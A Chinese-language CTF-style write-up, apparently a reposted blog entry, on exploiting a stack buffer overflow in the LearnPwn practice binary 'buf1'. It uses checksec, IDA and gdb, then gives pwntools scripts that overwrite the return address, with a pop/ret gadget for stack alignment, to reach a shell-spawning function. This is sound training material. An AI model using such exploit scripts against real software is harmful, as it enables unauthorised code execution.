github上面的练习题
git clone https://github.com/Adamkadaban/LearnPwn
然后开始做
先进行 readelf
然后进行执行看看 是怎么回事
./buf1
发现就是一个输入和输出
我们checksec看看
发现stack 保护关闭 开启了NX保护
我们进入ida64看看反汇编
我习惯先看看字符串 SHITF+F12
发现/bin/sh
我们先去主函数看看有什么漏洞
进入一个函数 getName
我们能看见 给了一个数组
然后下面又有一个fgets函数
fget()和get不同 不会无限输入
但是这里fgets 发现读取的大小为100 但是我们的s 只有15
这里我们就可以进行写入 因为他要读取 所以我们
可以把s和rbp填满垃圾字符 然后返回到shellcode地址
fget()
会读取指针所指的 并且大小限制的
如果我们溢出字符串 将s和rbp覆盖了 后面就还有很大的空间 我们可以进行构造
因为返回的是100 所以我们构造的 他还是会直接返回 执行
文章来源地址https://www.toymoban.com/news/detail-448425.html
类似这个 我们在覆盖了buf 和ret后 就可以进行构造了 因为他会读取100
shellcode地址我们很容易就发现
exp
from pwn import *
p = process('./buf1')
payload=b'A'*(0xf+0x8)+p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x4011BC)
p.sendline(payload)
p.interactive()
问题 出现 code -11
他原本自带了 exp
但是我发现执行不了
我们进行排查后发现是栈不对齐
我们gdb看看
我们发现 这里他
mov eax,0
pop rbp
ret
push rbp
执行力三条才到 rbp 这里就导致我们报错
我们该如何解决呢
我们自己设置返回即可
ROPgadget --binary ./buf1 --only 'pop|ret'
使用这个寄存器 直接设置返回即可
#!/bin/python3
from pwn import *
p = process('./buf1')
e = ELF('./buf1') # This imports all the symbols in the binary
# context.log_level = 'debug'
offset = 0x7fffffffdfe8 - 0x7fffffffdfd1 # $rbp - $(locationOfInput)
loc = p64(e.symbols['openShell']) # \xcf\x11
payload = b'A'*offset
payload +=p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)
payload +=loc
p.sendline(payload) # We send 0x17 (or 23) bytes of data because that was how far away from the stack pointer our variable was
p.interactive()
文章来源:https://www.toymoban.com/news/detail-448425.html
到了这里,关于1.Buffer_Overflow-1.Basic_Jump的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!